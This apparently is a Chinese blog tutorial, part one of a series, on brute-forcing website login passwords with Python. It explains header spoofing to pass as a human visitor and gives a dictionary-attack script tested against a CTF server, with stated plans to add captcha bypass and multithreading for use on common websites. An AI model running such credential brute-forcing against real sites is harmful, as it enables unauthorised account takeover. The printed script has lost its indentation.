python爬虫暴力破解网站登陆密码(一)

python爬虫暴力破解网站登陆密码(一)

本来准备一次写完这篇博客,但是写出主干后发现有很多重要的东西没有提到,所以就分成两篇写,这篇写基础操作,下一篇加上验证码处理和多线程处理模块。

0x00 robot.txt

在写爬虫爬取某个网站之前,我们应该去了解这个网站的robot.txt。那什么是robot.txt呢?简单的说,就是网站的所有者为了让爬虫了解爬取该网站的时候存在哪些限制。虽然这些限制只是建议,但是如果你的爬虫不遵守这些限制,很容易会被网站所封禁。
下图为IBM官方网站的robot.txt,我们写爬虫的时候,应该尽量遵守规定。

下面给出几种写法示例:

  1. 允许所有的robot访问

    1
    2
    3
    4
    5
    User-agent: *
    Allow: /
    或者
    User-agent: *
    Disallow:
  2. 禁止所有搜索引擎访问网站的任何部分

    1
    2
    User-agent: *
    Disallow: /
  3. 仅禁止Baiduspider访问您的网站

    1
    2
    User-agent: Baiduspider
    Disallow: /
  4. 仅允许Baiduspider访问您的网站

    1
    2
    User-agent: Baiduspider
    Disallow:
  5. 禁止spider访问特定目录

    1
    2
    User-agent: *
    Disallow: /tmp/

0x01 伪造header

网站防采集的前提就是要正确地区分人类访问用户和网络机器人,方法之一就是查看你的http请求头,我们为了让自己的爬虫看起来更像是人类用户,就需要对header进行伪造。
伪造header成什么样最好呢?当然是伪造成自己手动访问时候的样子最好。这里我们就能用到Firefox中的一个扩展工具——HttpFox(也可以用Chrome开发者模式直接查看),利用这个工具,我们能抓取我们用Firefox访问网站过程的数据包,然后查看这个数据包,就可以看到我们手动访问时的header,然后使用python的requests库进行伪造。

代码中hea的部分就可以照着上图写成这种格式:

1
2
3
4
5
6
7
hea = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',
'Accept-Encoding':'gzip, deflate',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language' : 'zh-hk,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Referer': 'www.baidu.com',
'Content-Type':'application/x-www-form-urlencoded'
}

0x02 填写data并登陆

既然要破解登陆密码,那前提肯定要做到登陆,我们手动登陆的时候当然是输入账号,输入密码,然后点击提交。可是爬虫工作时,看到的和我们不一样,这个时候账号密码应该怎么传入、登陆操作该怎么进行呢?这个时候再一次用到了Httpfox(同样可以用Chrome开发者模式直接查看),上次我们手动输入时,传入的数据在Httpfox中也被抓取了,照着他的样子填好data,然后我们使用requests中的post命令传入data获取一个cookie,然后再通过cookies访问下一个网站,就实现了爬虫的登陆。


如这个网站,两种方法都可以看到要传递的数据,那么填写的时候就要写成这种格式:

1
2
3
4
5
data = {
'j_username': 'xxxxxx',
'j_password': 'xxxxxx',
'checkCode': 'xxx'
}

0x03 测试

这里用一个ctf环境先做一个小脚本进行测试,这道题密码是五位纯数字,生成字典的方法之前破解压缩包的时候已经讲过不在赘述,代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#coding:utf-8
import requests
from threading import Thread
hea = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0',
'Accept-Encoding':'gzip, deflate',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language' : 'zh-hk,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Referer': 'www.baidu.com',
'Content-Type':'application/x-www-form-urlencoded'
}
url='http://120.24.86.145:8002/baopo/?yes'
data = {'pwd':123}
content = requests.post(url,data=data,headers=hea)
content.encoding='utf-8'
recv=content.text
passFile = open(r'C:\Users\Leticia\Desktop\mutou.txt')
for line in passFile.readlines():
password = line.strip('\n')
data = {'pwd':password}
print 'trying',password
content = requests.post(url,data=data)
content.encoding='utf-8'
html=content.text
if html != recv:
print html

结果如下:

这个脚本的雏形就有了,可以爆破出结果,但是还存在速度很慢,遇到验证码无法进行等问题,下一节再加上验证码处理和多线程处理的模块,解决了这几个问题,就可以用来处理常见的网站了。